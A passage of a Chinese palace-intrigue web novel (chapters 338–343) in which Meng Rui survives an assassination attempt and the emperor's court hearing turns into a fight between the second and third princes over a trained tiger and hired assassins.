吟秋趁机立即上前,一掌打在刺客胸前,卸了下巴,把刺客制住。
最终,行宫的羽林军赶到时,看到的是一地的黑衣刺客尸体,和两名被卸了下巴、牢牢捆绑的黑衣刺客。
孟蕊捂着心口上前,惊慌地颤抖着手,指着被押在地上的黑衣刺客,对着羽林军哭喊:
“有人要杀我!我要见陛下!”
第338章 保持警惕
行宫中的刺杀,不是小事。
巡逻的羽林军侍卫,立刻分出人去禀报庆明帝。
两刻钟后,羽林军统领霍济匆匆赶来,一起到的还有孟瑾。
孟蕊看到快一天不见的孟瑾,有些恍惚。
孟瑾还穿着早上出门时的那身玄色劲装,皮革束带修饰出他凌厉的腰线,腰间佩戴的长剑剑柄,在昏暗中淬出冷光。
他发髻高束头顶,戴着镶嵌玉石的玄铁发冠,让他少了几分文人意气,多了几许武将之姿。
孟瑾踏入院门时,檐角灯笼正晃,昏黄的暖光掠过他紧绷的下颌,映照出他那双浓睫掩映下漆黑如墨的双眸。
孟瑾的视线,快速扫过院内的黑衣刺客和侍卫们,定在怔怔望着他的孟蕊身上。
“蕊儿,你有没有受伤?”
孟瑾原本平静无波的眸中,暗潮涌动。
他加快了步伐,走向孟蕊。
“大哥,我没事,你……”
孟蕊的话,止于孟瑾突如其来的拥抱。
孟瑾将孟蕊紧紧拥入怀中,温热的气息萦绕在孟蕊耳边。
她听到孟瑾用只有他们俩能听到的声音说:
“对不起,让你受惊了,阿瑜很安全,他没有掉下悬崖。”
孟蕊也小声在孟瑾耳边回应:
“没关系的,我知道。”
孟蕊觉得有点奇怪,孟瑾为什么要对她道歉?这不是他们早就商量好的计策吗?
她知道,凭二哥厉害的武功,在影山陡直的峭壁上,都能如履平地般行走跳跃,从围场落下悬崖的过程中,定能找到机会自救。
而孟瑜先暂时离开众人的视野,也是他们一早就计划好的。
“大哥,你要不先放开我?”
孟蕊颇为尴尬地提醒。
孟瑾抱得她好紧,都有些勒着她了。
就算要演兄妹情深的戏码,抱一下,也差不多了吧?况且旁边还有好些人看着呢。
“好。”孟瑾嗓音沙哑,缓缓松开怀抱。
他的眼神依然落在孟蕊身上,如化开的墨,晕着层层叠叠的暗涌。
“真的没有受伤?”
“真的没有。”
孟蕊张开双臂,在孟瑾的注视中转了一圈,展示自己完好无损。
“这样你放心了吧?”
“嗯,没事就好。”
孟瑾收回目光,转身看向地上横七竖八的刺客尸体,对一起来的霍济拱了拱手。
“霍统领,陛下白日被猛虎伤身,晚上又有刺客胆敢在行宫中行刺,此事非同小可,需得严肃处理。”
霍济赞同地点头,“孟大人说的是,你去林中查案,也遇到了刺杀,或许这两波刺客,是受同一人指使,在林中刺杀你不成,再度派人到行宫继续完成刺杀,不料你不在住处,让县主受了惊吓。”
“大哥,你在林中也遇到了刺客?”孟蕊紧张地问,“你没受伤吧?”
孟瑾安抚地拍了拍她的肩,“是遇到了刺客,所以才一直没能回来,我没有受伤,可惜没能抓住活口,还是蕊儿厉害,给我们留下了证据。”
之后,霍济率领羽林军的侍卫,清理了院子里的黑衣刺客尸体,并将两名活口带走审问。
孟瑾留在孟蕊身边,陪着她回屋休息。
“大哥,霍统领可信吗?”孟蕊担忧地问。
孟瑾胸有成竹,“放心,他这次会审出我们想要的结果。”
“那些黑衣刺客,是厉青鸿派来的?”孟蕊不确定地问。
一个月前,孟蕊得知,厉青鸿和曹家达成合作,要共同推二皇子上位。
必要时候,厉青鸿会提供兵力支援。
而就在春猎开始前几天,北地的探子传来最新消息,厉青鸿多日未露面,其五千人的精锐部队,也一夜之间从北地军营消失。
从那时起,孟蕊就知道,厉青鸿定然是奔着春猎来了。
无论厉青鸿的目标是不是自己,孟蕊都做好了充足准备,一旦厉青鸿敢对她出手,孟蕊就要狠狠反击。
今晚的伏击,是针对厉青鸿准备的,任他武功再高,密集的箭矢,总能让他吃到苦头,再不济,也能把他赶走。
当孟蕊发现,黑衣刺客中没有厉青鸿时,就意识到不对,立即让弓箭手和侍卫留下活口。
“我觉得不像,但具体还要看霍统领审问的结果。”
孟瑾平静地分析,看向孟蕊,关心地催促。
“蕊儿,你晚上没睡好,快去再睡会儿,我守着这里,不会再有事了。”
“我睡不着,想坐会儿,大哥你去睡吧。”
孟蕊支起胳膊,双手捧着脸蛋,一脸忧愁。
孟瑾比她聪明,知道的事比她多,孟瑾说不是厉青鸿派来的刺客,那就十有八九不是,那又会是谁派来的刺客呢?
厉青鸿带着精锐部队,从北地离开,他想做什么?谋反吗?
北地的厉家军,有十万大军,要谋反不该多带些人,五千人,虽是精锐,也有点少。
不为谋反,难道厉青鸿只是来抓她的?
“蕊儿,你很害怕镇北王?”
孟瑾温和的声音,打断了孟蕊的思路。
“没……我没有很怕他……”
话一出口,孟蕊就后悔了,她语气这么弱,一听就知道是撒谎。
“那个……镇北王手握大军,又突然离开北地,我当然会担心他对朝堂不利,引发战乱,百姓遭殃,就不好了。”
孟蕊补救道,对着孟瑾心虚地笑了笑。
孟瑾没有拆穿她,只是回以一个温柔的笑。
“蕊儿心系天下,忧国忧民,吾心甚慰,不过,也不用太过担心,厉家世代镇守北地,忠肝义胆,镇北王不会轻易改弦更张,坏了祖宗名声。”
孟蕊咬了咬唇,孟瑾说的是寻常情况,但厉青鸿他就是个疯子啊!
前世,厉青鸿昼夜练兵,就是为了打进京城,他本就有谋逆之心,又有前世记忆,孟蕊不信他会改。
“大哥,话是这样说,但对镇北王,咱们还是要保持十分的警惕,不能松懈。”
孟蕊忍不住提醒。
“他带着精锐离开北地,是事实,与曹家书信来往达成合作,也是事实,不得不防啊!”
“嗯,放心吧,陛下自有安排。”
孟瑾细细观察着孟蕊的表情,装若随意地问。
“蕊儿,你是不是还有什么事,瞒着家里?”
第339章 他的保证
“没、没有啊……”
孟蕊下意识否认,眼神闪躲。
重生这种话本子里才有的事,根本无法解释,厉青鸿现在,也还没有做出确凿谋逆的行径。
加之前世和厉青鸿之间的那些恩怨纠葛,孟蕊更是难以启齿,无法与任何人言明。
孟瑾轻轻叹气,注视孟蕊的目光转深。
“蕊儿,无论什么事,你都可以告诉我和父亲母亲,还有阿瑜,我们是你的亲人,会相信你,保护你,你不需要有任何负担和顾忌。”
“大哥,我没有事瞒着你们,就是……”
孟蕊抿了抿唇,面露尴尬之色。
“你知道的,去年镇北王说要把我纳妾,还闯进家中……一想到他带兵前来,我就觉得很不舒服。”
孟瑾脸色一沉,眼神中展露几许狠厉,眨眼间,又恢复如常。
“蕊儿不必为此事忧愁,无论是二皇子,还是镇北王,只要你不愿意,他们就不能接近你,我向你保证。”
孟蕊抬眸看向孟瑾,犹豫着说:
“可是大哥,镇北王他手中有十万大军,若是他用军功请旨赐婚,那我……”
前世,厉青鸿就是用军功,请求陛下为其妹厉青雪和齐轩赐婚。
那时的晋国公府,没有出事,一派繁花似锦的煊赫荣华。
齐轩作为晋国公世子,科举入仕,在翰林院任职,是京中世家贵女倾心的翩翩公子。
他看不上和安乐侯府的婚事,也看不上粗鄙刁蛮的厉青雪。
晋国公为了不让齐轩娶厉青雪,找遍了关系,求遍了人,甚至跪在御前,拿出齐轩三十之前不能娶妻的占卜之言,都未能阻止厉青雪要嫁给齐轩的执着。
虽然厉青雪死于晋国公府的算计中,但她终是风风光光嫁给齐轩,做了世子夫人。
可见厉青鸿拿军功求赐婚,很是管用。
“蕊儿,只要你不愿意,没有任何人能逼你嫁给他。”
孟瑾斩钉截铁道。
“镇北王的军功,令人敬佩,但他若是携军功逼迫于你,那便不是大男子所为,他要真敢做,我有的是办法对付他。”
孟蕊对上孟瑾漆黑如墨的瞳眸,不自觉地想要相信他的话。
不仅因为孟瑾的真实身份尊贵,能对付得了厉青鸿。
更因为孟蕊能感受得到,孟瑾待她真诚,一直都在帮助她,鼓励她,是比孟蕊期待中更好的亲人和大哥。
“怎么这样看着我?”孟瑾温声问,“不相信我能保护你?”
孟蕊连忙摆手,“不是,我当然相信大哥。”
“我必不会辜负蕊儿的信任。”
孟瑾嘴角含笑,眸中似有星辰。
“现在,可以安心去休息了吗?”
“哦,我这就去。”
孟蕊乖巧点头,和衣躺上床,盖上被子。
孟瑾也起身,望了眼床上平躺的孟蕊,兀自走到外间的榻上,躺靠着小憩。
孟蕊以为自己晚上经历了那么多事,会睡不着,但一闭上眼,居然很快就进入了梦乡。
梦中,她看到了长着青面獠牙的厉青鸿,凶神恶煞地朝她扑来。
就在孟蕊转身逃跑之际,大哥和二哥从天而降,一人一脚,把厉青鸿踹倒在地,把厉青鸿打得鼻青脸肿。
然后,爹爹、娘亲,还有李管家,都出现了,一起暴打厉青鸿,他们还对着孟蕊招手,让她加入……
这是一场酣畅淋漓的美梦啊!
孟蕊心满意足地醒来时,已是日上三竿。
听着外面的洒扫声,她缓缓睁开眼,舒服地翻身朝外看去。
“小姐,您醒了?”
守在床边的吟秋,上前询问。
“您要起了吗?午膳已经送来,放在小灶上温着,您随时可以用膳。”
“午膳?”孟蕊有些迷糊,“现在什么时辰?”
“刚过午时一刻。”吟秋答道。
“这么晚了?你们怎么不叫醒我?”
孟蕊一下从床上坐起,起床梳洗。
“大哥已经离开了?”
“大少爷天一亮就离开了,大少爷走时,特意交代我们,不要打扰小姐安寝。”
吟秋倒好热水,绞了帕子,递到孟蕊手中。
“大少爷还说,让小姐您不用着急,他会处理好一切。”
“嗯,我知道了。”
孟蕊接过帕子,洗过脸,坐在梳妆台前,看着镜子中的吟秋为她梳头。
“我今日也穿骑服,梳单髻就好。”
吟秋应是,她手指灵巧,做事利落,很快给孟蕊梳了一个利落的单髻,辅以玉冠修饰。
孟蕊左右照了照镜子,很满意。
用午膳时,孟蕊从吟夏和吟秋口中,知道了她睡着时传来的新消息。
庆明帝寝殿的门,闭了一整夜,无论是太后妃嫔还是皇子公主,都没能见到庆明帝的面。
昨夜候在庆明帝寝殿外的曹嫔和二皇子,等到亥初(21:00)过,就离开了。
吴贵妃和三皇子一派的人,昨夜一直等到亥时末(23:00),才因吴贵妃体力不支晕倒,赶紧送了回去。
即使这样,庆明帝也没有召见一向宠爱的吴贵妃。
今早开始,行宫中已经有了传言,说庆明帝伤势过重,情况危急,为了保密,稳定人心,才避而不见任何人。
二皇子和三皇子各方的人,都蠢蠢欲动,无人在意春猎,都紧盯着庆明帝寝殿的动静。
昨晚留下的刺客,被羽林军带走后,正在审问中,结果现在还不明。
而孟瑾和孟蕊昨夜分别遇刺的消息,已经被有心之人知晓,传得人尽皆知。
被侍卫丢到行宫花园草丛中的姜铭昊,在上午时,被洒扫园子的宫女发现。
姜铭昊灰溜溜地跑回安乐侯夫妇身边,将孟蕊对他的打骂恶行,一股脑地都倒了出来。
宝贝儿子受了委屈,安乐侯夫妇很生气。
他们带着姜铭昊,就要来找孟蕊,但听说孟蕊昨夜遇刺后,立刻歇了心思,生怕惹上麻烦,把自己牵扯上刺客。
想要上门打探消息的人,以关心的名义,来到在孟蕊的住处外,一律被守在门外的羽林军拦下,才让孟蕊能够清静地睡觉、用膳。
不过这份清静,只持续到下午。
庆明帝身边的大太监高公公,亲自前来,向孟蕊传达了庆明帝的旨意,召孟蕊去行宫正殿问话。
第340章 调查结果
行宫正殿中,庆明帝高坐龙椅之上,神情恹恹,没有血色的苍白脸上,透着伤后的虚弱。
参加春猎的群臣,按官职依次站成两列,垂着头,屏息凝神。
殿内正中央,羽林军统领霍济,正在向庆明帝禀报。
“陛下,经过羽林军一夜的审问和调查,那两名刺杀孟大人和瑞嘉县主的刺客,已经招供。
他们是受二殿下指使,前去刺杀孟大人和瑞嘉县主。
在围场林中刺杀孟大人的刺客,也是二殿下派出的死士。”
此言一出,群臣之中响起诧异的抽气声,立刻有二皇子一派的大臣站出来反驳。
“霍统领慎言!二殿下与孟大人、瑞嘉县主无冤无仇,没有理由要派人行刺!是否调查有误?”
“二殿下昨夜为陛下的伤势忧心,候在陛下寝殿外,他哪有心思和时间去派人行刺?”
“臣附议!那刺客之言不可信,仅以口供为证,完全可以是污蔑攀咬之辞!”
“臣也附议!”
“请陛下明察!”
……
二皇子一派的大臣接连站出,为二皇子说话。
站在众臣前排的曹尚书没有说话,他脸色阴沉地瞥了眼对面的吴尚书,露出不屑的冷笑。
“咳咳……”庆明帝有气无力地下令,“去传二皇子过来。”
二皇子来得很快,一进殿就快步上前,扑倒跪下,连喊冤枉。
“父皇,儿臣是被冤枉的,求父皇为儿臣做主!”
庆明帝严肃地看着二皇子,“你说你冤枉,但刺客指证你是主谋,你怎么说?”
“那定是有人在陷害儿臣啊!”
二皇子对着庆明帝磕头,言辞恳切。
“父皇,儿臣与孟大人和县主,往日无怨,近日无仇,我没有理由要派人刺杀他们,还是如此迫不及待地在行宫中动手,怎么想都不合理!”
庆明帝皱起眉,目光移到霍济身上。
“霍济,那刺客是否有招供刺杀的缘由?”
“回陛下,在用刑之后,刺客招供,他们在围场刺杀孟大人,为的是阻止孟大人调查猛虎袭击的真相。”
霍济声如洪钟,掷地有声。
“围场刺杀没有成功,死士被抓后,吞毒自尽,所以,二殿下又派了第二批刺客,去孟大人的住处行刺。”
“你含血喷人!”
二皇子指着霍济怒斥。
“我没有派什么刺客!更没有要刺杀孟瑾和孟蕊!”
记住本站: 霍济泰然自若地对着二皇子抱拳,“二殿下,卑职只是在客观转述刺客的口供,以上均是刺客的供词,并不是卑职针对殿下,请殿下勿要激动。”
二皇子狠狠瞪向霍济,“那刺客明显是污蔑于本皇子,你都不查清楚就来禀报父皇,居心何在?”
“二殿下,那刺客指证您,是有依据的。”
霍济从袖中拿出一块白布包裹的令牌,向着庆明帝的方向呈上。
“陛下,这是从刺客身上搜出的令牌,正是曹府私兵所有,试问除了二殿下外,谁还能使唤得动曹府私兵行事?”
一时间,众臣的目光都集中在一直没有出声的曹尚书身上。
曹尚书掀起眼皮,冷冷看向霍济。
“一块令牌而已,有人偷了我府上侍卫的牌子,以假乱真,诬陷二殿下和曹家,单凭此物,和身份不明的刺客口供,不能证明此事就与二殿下和曹家有关。”
曹尚书走向前,对着庆明帝躬身行礼。
“陛下明鉴,有人假冒二殿下的名义,派出刺客,伪造证据,意图诬陷皇子,祸乱朝纲,请陛下严查!”
“嗯……”
庆明帝垂眸望着曹尚书,眸光晦暗不明。
“曹爱卿,行宫行刺,挑战天威,非同小可,不能仅听你一面之词,就否定霍统领的调查结果,你有何证据,可证明此事与二皇子和曹家无关?”
曹尚书眼皮一跳,快速抬眼看了眼庆明帝,语气中带着一丝诧异和不满道:
“陛下,依老臣看,霍统领的调查依据存疑,人证口供存疑,调查结果不可信。
二殿下根本没有动机去刺杀孟瑾兄妹,说什么为了阻止孟瑾调查猛虎袭击,也是诽谤之辞,根本不足为信!”
“曹大人,卑职才学浅薄不如你,但查案审讯,是羽林军看家的本领,不容你如此非议!”
霍济正面刚上曹尚书,语气强硬。
“卑职禀报给陛下的,是羽林军调查了一整晚的结果,不会有错!
二殿下要刺杀孟大人的原因,卑职已经隐晦表明,既然你要细细分说,那卑职便直言了。
昨日围场之中,猛虎袭击陛下,不是意外,是有人蓄意为之!
陛下察觉有异,派孟大人调查此案,二殿下心虚,怕被孟大人查出端倪,才狠下心来,派人刺杀。”
“一派胡言!”
曹尚书厉声大喝。
“霍济,你在污蔑皇子,谁给你这么大的胆子!”
霍济不卑不亢道:“卑职所言,全有真凭实据,而且,孟大人昨日已经查到了猛虎袭击是人为的证据,对吧,孟大人?”
霍济看向孟瑾,连带着众臣的目光,也纷纷朝向孟瑾。
孟瑾从容不迫地走出队列,对着庆明帝恭敬行礼道:
“陛下,霍统领说得不错,昨日微臣奉旨调查猛虎袭击案,在距离猛虎袭击现场约一里开外,发现了一处山洞。
洞中有手臂粗细的铁链,驭兽用的工具,以及残余的野鹿野兔的尸体,可以基本判断,有人在此洞中训练猛兽。
记住本站: 再加上洞外荆棘草木上留有的老虎毛,此洞中被训练的猛兽,很可能就是老虎。
微臣昨日查到此处,天色已晚,从洞中出来后不久,便遭遇了黑衣刺客袭击。
那些刺客武功招数毒辣,明显是为取微臣性命而来,微臣的侍卫拼死相护,才让微臣得以保住性命。
却不料,那些刺客一击不中,竟半夜袭击微臣在行宫中的住处,差点伤及舍妹,幸好有羽林军恰好巡逻经过,出手相助,才击退了刺客。”
孟瑾对着庆明帝深深一拜。
“陛下,微臣为陛下尽忠,若真因此被刺客暗杀而死,便是死得其所。
但祸不及家人,舍弟驱赶猛虎,掉下山崖,还未有消息,舍妹若再因微臣出事,微臣无法向父亲母亲交代。
求陛下彻查此案,严惩刺客及其幕后之人!不能助长其嚣张气焰!”
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第341章 所谓证据
孟瑾这番话,客观讲述了自己发现豢养猛虎的洞穴和遇刺的经历,以弟妹的遭遇唤起庆明帝的怜惜,请求庆明帝彻查案件,都在情理之中。
他全程未提及二皇子和曹家,让原本准备冲他发火的二皇子,张开了嘴,复又闭上。
庆明帝听完孟瑾的话,轻咳几声,颇为伤感地说:
“是朕的疏忽,你弟弟为了救朕,制服猛虎后,不慎掉下山崖,到现在还没找到,你妹妹又差点出事,你父亲要是知道,定要气得跳脚,怪朕……咳咳!咳咳咳……”
庆明帝突然猛咳不止,高公公连忙拿出备好的药丸,服侍庆明帝吃下,咳嗽才逐渐停歇。
台下各大臣看到这一幕,脸色各异,相互交换着眼神。
孟瑾对着庆明帝又是郑重一拜。
“陛下,家父一生为国尽忠,以为陛下分忧为己任,必不会因此事生气,请陛下以龙体为重,勿要为此忧心。”
群臣跟着孟瑾齐声行礼:
“请陛下保重龙体,以龙体为重!”
庆明帝吃下药,又喝了水,好了许多。
他抬了抬手,“都平身吧。”
“谢陛下!”
群臣都站直了身体,只有二皇子战战兢兢跪在地上。
庆明帝望着二皇子,沉声道:
“老二,你可知,在围场操控猛虎伤朕,可以谋逆之罪论处!”
“父皇,儿臣没有啊!”
二皇子吓得满头冷汗。
“您就是给儿臣是个胆子,儿臣也不敢做下此等大逆不道之事!”
二皇子求助地望向曹尚书,但曹尚书并没有看他,微低着头,不知在想什么。
二皇子眼珠一转,看向孟瑾。
“孟、孟大人,你刚才所言,发现训虎的洞穴,但并没有证据显示,那里与我有关,对不对?”
孟瑾略一思索,认真道:“回二殿下,确实没有证据能证明使用那处洞穴之人的身份。”
二皇子受到了鼓舞,继续问:
“那来刺杀你的刺客,也不能证明与我有关咯?”
“这……”
孟瑾看了看霍济,不确定地说。
“在围场刺杀微臣的刺客,一部分被歼灭,一部分逃跑无望,服毒自尽,没有找到证明他们身份的证据。
但昨晚在行宫的刺客,留下了活口,是他们指证了殿下您。”
“那审问过程中,你可有在现场?亲耳听到他们指证本皇子?”二皇子紧张地接着问。
孟瑾如实答复,“那两名刺客昨夜被霍统领带走审问,微臣在住处休息,并未去审问现场。”
二皇子双眼一亮,望向龙椅之上的庆明帝。
“父皇,您听到了吗?如孟大人所言,猛虎袭击案根本无法证明与儿臣有关,而给出口供的两名刺客,他们就是其他人派来撒谎诬陷儿臣的!这些事,真的与儿臣无关呐!”
“你说的也不无道理。”
庆明帝眼中闪过迟疑,对着满殿群臣道。
“诸位爱卿,你们怎么看?”
二皇子一派的大臣们纷纷帮腔:
“启禀陛下,微臣认为,二殿下提出的疑点,很值得深究,应当继续深入调查,方能得出真相。”
“仅凭刺客的供词,证明不了什么,在严刑逼供下,他们什么都能说。”
“微臣也认为,此案迷雾重重,那刺客的身份不明,应当先调查他们的身份。”
“微臣以为,刺客身上带着的令牌,太过刻意,像是故意引导我们怀疑二殿下。”
“臣附议,当引入刑部和大理寺,共同协查此案。”
……
眼看皇帝有所动摇,户部尚书吴德勇,对身边的亲信使了个眼色,支持三皇子一派的大臣们,开始站出来反驳:
“陛下,霍统领能力出众,忠心不二,他查出的结果,具有可信度,微臣相信霍统领。”
“围场猛虎袭击,令陛下龙体受伤,不可轻视!二殿下形迹可疑,真有谋逆之心,一定要严惩不贷!”
“微臣认为,此案案情明了,二殿下放虎谋害陛下,后派人刺杀调查案件的孟大人,人证物证俱全,应当速速拿下二殿下!”
……
很快,支持二皇子的大臣们,和支持三皇子的大臣们,闹哄哄地吵了起来。
“大胆!二殿下是皇子,也是你想拿下就拿下的?”
“老臣的胆子,可不及二殿下大,弑父,谋逆,刺杀,哪一样拿出来都是杀头的大罪!”
“那是有人诬陷,你这蠢货,难道看不出来?”
“证据如此明显,是你们这群蠢货自说自话,自欺欺人!”
“那些证据都是假的!伪造的!堂堂皇子,作何要去刺杀一介臣子?”
“霍统领都说了,他为了掩盖谋逆大罪,刺杀查案的臣子有什么奇怪?”
……
大殿上乱成一团,激烈争吵的大臣们,甚至要打起来。
庆明帝习以为常地看着这一幕,也不阻止,自顾自地喝下高公公递来的茶水。
这时,一名太监从殿外走进来,尖声禀报:
“陛下,三殿下在殿外求见,说有证明二殿下谋逆的重要证据,要当面呈给陛下。”
殿内倏然安静。
大臣们停下争吵,齐刷刷看向殿门外。
庆明帝放下茶盏,平静颔首,“让他进来。”
三皇子带来的证据,是一个活生生的人。
此人身着兽皮,体型粗壮,容貌粗犷,被两名侍卫押着,向庆明帝跪下。
三皇子说,此人是在围场抓住的驭兽师。
而这名驭兽师,当着庆明帝和群臣的面,亲口指认了二皇子,就是指使他在洞穴中养虎、训虎之人。
“污蔑!你们全都是污蔑!”
二皇子出离愤怒,指着驭兽师吼道。
“我都不认识你!你也敢来攀咬本皇子?”
驭兽师一边不停地对着庆明帝磕头,一边声泪俱下地说:
“陛下,小的出身乡野,没有见识,二殿下只和小的说,他要给两位姓孟的公子点厉害瞧瞧。
小的觉得他是皇子,对付个把公子不是问题,所以才接下了这桩生意,但小的真不知道,陛下您也在场啊!”
庆明帝脸色铁青,盯着驭兽师问:
“你给朕说清楚,他要让你对付哪两位姓孟的公子?要怎么对付?”
第342章 相互诬陷?
“回陛下,小的也不知那两位孟公子的名讳,小的训虎,只教虎以气味识人。”
驭兽师跪在地上,诚惶诚恐地说。
“小的提前将能刺激到老虎的香料,给到二殿下的人,他们会把香料,涂在那两位孟公子所骑的马上,等到了时间,小的将老虎放到地方就行。”
群臣中响起窸窸窣窣的议论声。
两位孟公子是谁,众人都很明了。
昨日围场上,那猛虎第一个攻击的就是孟瑾,而孟瑜与猛虎缠斗交手后,与猛虎一起掉下山崖,至今生死不知。
“继续说!”
庆明帝厉声命令。
“你放虎而出,然后呢?要咬死他们吗?”
“不、不是的!”
驭兽师猛摇头,否认道。
“那老虎看起来凶猛,实则经过驯化,平常很听话,它不会轻易咬死人的。
二殿下说,要给那两位孟公子一个教训,让他们当众出丑,老虎只会扑倒他们,让他们求饶而已。
当时,有人对老虎放箭,刺疼了它,它才会突然发狂,开始四处攻击。”
孟瑾走上前,怒视驭兽师,“你还在狡辩!你把饥饿的老虎放入围场,它本能便要攻击人!”
“你怎么知道老虎饥饿?”驭兽师辩驳道,“我每日都有给老虎喂食。”
孟瑾没有理他,转身对着庆明帝道:
“陛下,微臣在那训虎的洞穴中,发现了剩余的野鹿野兔尸体,从剩余的数量推断,洞穴中准备的食物,根本不足以供养一头成年猛虎。
而我们昨日见到的那头猛虎,野性十足,见人便攻击,绝不是此人所言的被驯化的样子。”
驭兽师眼中闪过心虚,急切地对着庆明帝磕头道:
“陛下,训虎过程中,是会控制食量,但小人养的虎,真的不会随意攻击人,而且二殿下的命令,也不是要杀人,而是要让人出丑,小人听命行事,绝不敢擅自让猛虎伤人呐!”
二皇子要疯了!
他根本就不认识这个驭兽师!
虽然驭兽师说出的证词,不是他要谋逆刺杀父皇,但纵虎在围场伤人的黑锅,他也不能背啊!
二皇子瞪向一脸胸有成竹的三皇子,心中已有了计较。
驭兽师就是三皇子带进来,要诬陷他的人,也是三皇子!
“父皇!儿臣根本不认识三皇弟带来的驭兽师,亦从未要在围场伤人!”
二皇子膝行向前,在接近龙椅台阶的前方停下,对着庆明帝重重磕头。
他在抬起头时,愤愤然指着三皇子,向庆明帝告状。
“父皇,今日这一切,都是三皇弟诬陷儿臣!儿臣什么都不知道啊!”
二皇子言辞恳切,带着被冤枉的十足委屈嘶喊。
“再说,儿臣与孟瑾、孟瑜又没仇,我没有理由要放虎袭击他们!”
庆明帝面色沉凝,顺着二皇子的手指,怀疑地看向三皇子。
三皇子立刻上前,对着庆明帝跪下。
“父皇,儿臣绝没有行诬陷丑事,是二皇兄想逃避罪责,要拉儿臣下水,还说什么与两位孟公子没有仇怨?
儿臣即使与两位孟公子不熟,却也知道二皇兄做过的那些污糟事,父皇只需一查便知。”
“老三,你既知道,就说清楚,还要教朕给你做事?”庆明帝语气不悦地催促。
三皇子连忙道:“父皇恕罪,儿臣不是那个意思,只因涉及瑞嘉县主名誉,儿臣不好多言。”
庆明帝皱起眉,“说吧,有朕在,看谁敢议论瑞嘉!朕砍了他的脑袋!”
众臣面面相觑,瑞嘉县主和二皇子的那些传言,他们少有不知的,私下里也有说起过,没觉得有什么大不了。
但今日看陛下对瑞嘉县主的维护态度,众臣心中都是一凛,默默记下以后要谨言慎行,也要告诫家中女眷对瑞嘉县主尊重些。
“是,儿臣听闻,二皇兄之前曾有意于瑞嘉县主,送礼物上门,但被瑞嘉县主的父亲谢大人退去了曹府。”
三皇子微微抬眼,一边观察着庆明帝的脸色,一边细细道来。
“自那之后,京中便传出关于瑞嘉县主的不好流言,想来以瑞嘉县主父亲和两位兄长的本事,应该在就查出流言的源头……”
三皇子意有所指地瞥了眼二皇子。
“那谢家和二皇兄的梁子,不就结下了吗?
后来,任刑部郎中的孟大人,接手了几桩关于二皇兄手下人的案子,据我了解,都判得挺重的,二皇兄应该对他很有意见吧?
小孟大人在宫中当差时,对二皇兄不假辞色,我就听过二皇兄抱怨小孟大人不通人情世故,对他颇有微词。
如此,也不难理解二皇兄对二位孟大人心怀怨恨,要在围场上以猛虎攻之泄愤。”
二皇子恨恨咬牙,三皇子不但处处监视他,还在群臣和父皇面前说他的坏话,令他难堪。
“三皇弟,你又在诬陷我,你说我传流言,有什么证据?”
“二皇兄,你做没做过,你我心里都清楚,非要把事情撕扯得这般难看吗?”
三皇子沉着对上二皇子愤怒的双眼,“好心”劝诫。
“你不如赶紧向父皇承认错误,你只是报复两位孟公子,误伤了父皇,不是故意谋逆,父皇会对你从轻处罚的。”
二皇子听得肺都要气炸了。
“不是我做的!凭什么要我认错!”
二皇子侧头瞪向三皇子,如果眼神可以杀人,三皇子现在已经死了。
“萧宇,你别以为就你聪明,你为了诬陷我,真是费尽心机。
那个驭兽师是你的人吧?那些刺杀孟瑾、孟蕊的刺客,也是你派去的,是不是!”
三皇子镇定自若地看向二皇子,眼神失望。
“二皇兄,你做了这么多错事,不但不知悔改,还要安在我的头上,你怎么对得起父皇这么多年对你的谆谆教诲?”
三皇子说完,对着庆明帝拜下。
“父皇,儿臣所言,皆有依据。
就在昨日,与二皇兄有婚约的齐小姐,在围场上向瑞嘉县主发难,两人闹得很不愉快。
之后,齐小姐向二皇兄哭诉,有宫人亲耳听到,二皇兄说要报复瑞嘉县主,为齐小姐出气,而当晚,瑞嘉县主就遭遇了刺杀。
儿臣认为,瑞嘉县主被刺杀,不是受孟大人牵连,而是二皇兄要报复的人中,本就包括了瑞嘉县主。
只要将瑞嘉县主和齐小姐召来问话,便见分晓。”
第343章 揭露身份
孟蕊跟随高公公到行宫正殿门口时,齐月佳已经战战兢兢地跪在二皇子身边,回答庆明帝的问话。
“回陛下,臣女昨日是与瑞嘉县主有过几句口角,但那不过是女儿家之间的小打小闹,闹一闹就过去了,算不得什么的。”
庆明帝看着齐月佳,目露厌烦,对左右吩咐:“带证人上来。”
一名宫女与正殿门口的孟蕊擦肩而过,走上殿前跪下。
“奴婢参见陛下。”
宫女对着庆明帝磕头行礼,起身时恰好对上齐月佳不可置信的目光。
“你是……”
“齐小姐,奴婢名秋月,是昨夜听到你与二殿下密谋刺杀孟大人和瑞嘉县主,而差点被你杖毙的奉茶宫女。”
宫女秋月盯着齐月佳,咬牙切齿地说。
“你胡说!”齐月佳立即否认,“我们何时有密谋刺杀?”
“奴婢亲耳听见,可以用性命担保。”秋月举起手就发誓。
二皇子要杀人的目光瞪向秋月,“你也是三皇弟的人?是他让你来诬陷本皇子的!”
“奴婢是行宫的奉茶宫女,之前与三殿下素无交集,二殿下若是不信,只管去查!”
秋月双目一横,梗着脖子,对上二皇子。
“陛下面前,奴婢不敢妄语,也请二殿下实话实说。”
孟蕊就是在这时,跟着高公公走进殿内。
“臣女参见陛下,陛下万岁万岁万万岁!”
孟蕊规规矩矩地向着庆明帝行礼。
“快起来吧。”
庆明帝看到孟蕊,面色缓和。
“不用紧张,叫你来只是问一问,你与二皇子、齐月佳关系不睦,是这样吗?”
来的路上,高公公已经把正殿中发生的事,与孟蕊大概说了。
孟蕊心中有谱,从容自若地向着庆明帝回话:
“回陛下,确实如此,臣女昨日还与齐小姐吵过架,与二殿下从前也有些不快,关系属实算不上和睦。”
“嗯,朕知道了。”庆明帝对孟蕊摆了摆手,示意她退下。
孟蕊向侧后方退去,站到了孟瑾身边,与孟瑾交流了一个眼神后,两人静静站立,默默观察。
庆明帝疲惫叹了口气,对着二皇子说:
“老二,你真的很令朕失望!”
二皇子心中一个咯噔,立即对着庆明帝喊道:
“父皇,儿臣真的什么都没做啊!他们合起伙来冤枉儿臣,父皇您看不出来吗?”
“够了!你若当真干净,怎会只喊冤,拿不出证据反驳?”
庆明帝按着额角,不耐烦地睨着二皇子。
“朕累了,二皇子从今日起,不得离开行宫的住处一步,直到事情完全查清。”
庆明帝又对羽林军统领霍济下令。
“霍济,朕命你全权负责调查猛虎袭击和刺杀事件,十日之内查清,你可否做到?”
霍济立刻领命行礼,“卑职遵旨,一定不负陛下重托!”
二皇子闻言,身体瘫软,跌坐在地上。
他要被关起来了,父皇根本不信他。
二皇子一派的大臣们,都是一脸紧张又难以置信的表情。
